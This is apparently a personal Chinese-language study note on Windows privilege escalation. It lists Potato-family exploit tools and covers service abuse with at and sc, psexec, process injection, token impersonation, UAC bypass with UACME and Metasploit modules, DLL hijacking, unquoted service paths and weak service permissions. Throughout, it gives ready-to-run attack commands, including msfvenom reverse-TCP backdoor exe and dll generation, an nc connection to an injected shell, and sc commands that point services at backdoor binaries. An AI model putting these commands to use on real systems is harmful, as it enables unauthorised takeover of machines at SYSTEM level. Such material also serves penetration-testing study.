Windows提权小结
前言
最近重新学了一下xiaodi的提权课程,总结总结
土豆家族
低权限就行
个人感觉这部分应该是实战用的最多的了。
在我们获取WEB/数据库权限的时候,可以将低权限的服务用户提升为“NT AUTHORITY\SYSTEM”特权。拿到shell 上传🥔上去 然后点就ok了 (点鼠标的🐒
OK的就是比较好用的🥔
https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
SweetPotato OK
RoguePotato
BadPotato OK
EfsPotato OK
GodPotato OK
PetitPotato OK
MultiPotato
CandyPotato
RasmanPotato OK
CoercedPotato
JuicyPotatoNG
PrintNotifyPotato OK
GodPotato
https://github.com/BeichenDream/GodPotato
SweetPotato
https://github.com/CCob/SweetPotato
RoguePotato
https://github.com/antonioCoco/RoguePotato
BadPotato
https://github.com/BeichenDream/BadPotato
EfsPotato
https://github.com/zcgonvh/EfsPotato
MultiPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
CandyPotato
https://github.com/klezVirus/CandyPotato
RasmanPotato
https://github.com/crisprss/RasmanPotato
PetitPotato
https://github.com/wh0amitz/PetitPotato
JuicyPotatoNG
https://github.com/antonioCoco/JuicyPotatoNG
PrintNotifyPotato
https://github.com/BeichenDream/PrintNotifyPotato
CoercedPotato
https://github.com/Prepouce/CoercedPotato
手工提权
一般都是用工具 手工遇到的情况复杂多变 (我是工具小子🤡
先用 systeminfo获得基本信息
2、补丁筛选
https://i.hacking8.com/tiquan (网站
https://github.com/bitsadmin/wesng (exe)
python wes.py systeminfo.txt --color
python wes.py systeminfo.txt --color -i "Elevation of Privilege"
3、EXP获取执行
KernelHub 针对常用溢出编号指定找EXP
Poc-in-Github 针对年份及编号指定找EXP
exploitdb 针对类型及关键说明指定找EXP
https://github.com/Ascotbe/Kernelhub
https://github.com/nomi-sec/PoC-in-GitHub
https://gitlab.com/exploit-database/exploitdb
第三方软件提权
感觉用处不大 -- 用cs上线了 在cs上面的插件操作
服务启动AT&SC 提权
在administrators权限下进行 到system
1、at命令提权的原理
at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。
适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7 以后被剔除.
当我们拿到administrators的用户,通过连接上服务器后,可以通过at命令来进行本地提权。
提权命令:
at 21:00 /interactive cmd (在21:00分生成一个交互式的System权限的cmd)
2、sc
是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务
适用版本:基本都适用
#创建一个名叫syscmd的新的交互式的cmd执行服务 (执行后门)
sc Create syscmd1 binPath= "cmd /K start" type= own type= interact
sc Create xiaodi binPath= "d:\artifact.exe"
#运行服务
sc start syscmd1
sc start xiaodi
远程控制(提权)
在administrators权限下进行 先把软件下载然后上传到服务器
ps
适用版本:基本可以
但是需要下这个工具包 。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
#调用运行cmd
psexec.exe -accepteula -s -i -d cmd
psexec.exe -accepteula -s -i -d artifact.exe
进程注入(降权 提权
在administrators权限下进行
相当于开了一后门,注入到其他exe进程下!(webshell 用户组权限 做不了 )
MSF
本地权限
ps //查看进程 找到system权限的进程
migrate PID //迁移对应PID
cs
ps //查看进程
inject PID //注入对应PID
- Win2008以前版本 -Test in Win2k3-本地权限-本地虚拟机
pinjector -l
pinjector -p 420 cmd 3333
nc 192.168.46.149 3333
令牌窃取(降权 提权
在administrators权限下进行
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。
所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。
MSF
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1 LPORT=3333 -f exe -o msf.exe (生成个后门exe)
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
cs
ps //查看进程
steal_token PID //窃取进程令牌
spawnu PID //窃取进程令牌上线
为什么降权?
在域环境的情况下 administrators权限很尴尬 他看不到域有什么 没法与域通讯(不在域类) 所以要提权 or 降权
-
提权system(脱管了)与内网交互
-
降权到域用户与内网交互
BypassUAC
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC
绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)
开启UAC和未开启UAC时,MSF默认getsystem提权会受到影响(进程注入)
我win2016 不管什么等级都可以直接getsystem
1、MSF模块:
先 backgroud 然后set session设置为开始连的那个
-Test in Win7 本地电脑 本地权限
use exploit/windows/local/bypassua
-Test in Win10 本地电脑 本地权限
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
2、UACME项目:
https://github.com/hfiref0x/UACME
用 这个项目去调用 木马程序 进行上线可以得到更高的权限 在msf中就可以直接getsystem 你直接调用木马程序 可能就不能够直接getsystem


Akagi64.exe 41 msf1.exe
Akagi64.exe 编号 调用执行
直接调用上线
用项目调用上线

DLL劫持提权应用
能不能进行操作看目录权限设置 决定
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System 这些都动不了
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
检测: ChkDllHijack 火绒剑
项目:https://github.com/anhkgg/anhkgg-tools
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
制作含木马的dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.192.129 lport=4444 -f dll -o xiaodi.dll
提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用
不带引号服务路径
能不能进行操作看目录权限设置 决定
不带引号+空格
https://blog.csdn.net/weixin_54977781/article/details/130460369
https://zhuanlan.zhihu.com/p/403098970?utm_id=0
配合MSF-MacroExpert服务

https://blog.csdn.net/weixin_44032232/article/details/109073666
原理:如果没带引号 然后又有空格的目录就会认为是文件+参数 类似这样c:\program files.exe c:\program后面的files.exe 就会被认为是参数
用生成的后门exe 改个名字成 program.exe 放在c盘 重启服务就会调用它 然后就上线了
检测项目:JAWS 用他检测哪有不安全的路径 但是我本机 win2008 都无法运行ps1脚本 。 也可以用PEASS-ng这个项目 但是感觉挺鸡肋的就不想试了
我们用以下命令来搜索哪些服务路径没有包含引号:(我用不了
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
不安全的服务权限
实战基本上用不到
服务权限问题 可以修改服务对应的路径
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
这个攻击方法大致分两类
1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。
2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。
对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。 这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。
我们通过该工具执行以下命令
1、accesschk.exe -uwcqv "administrators" *
如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。

通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。
sc config "WinHttpAutoProxySvc" binpath="C:\Users\Administrator\Desktop\msf.exe"
sc start WinHttpAutoProxySvc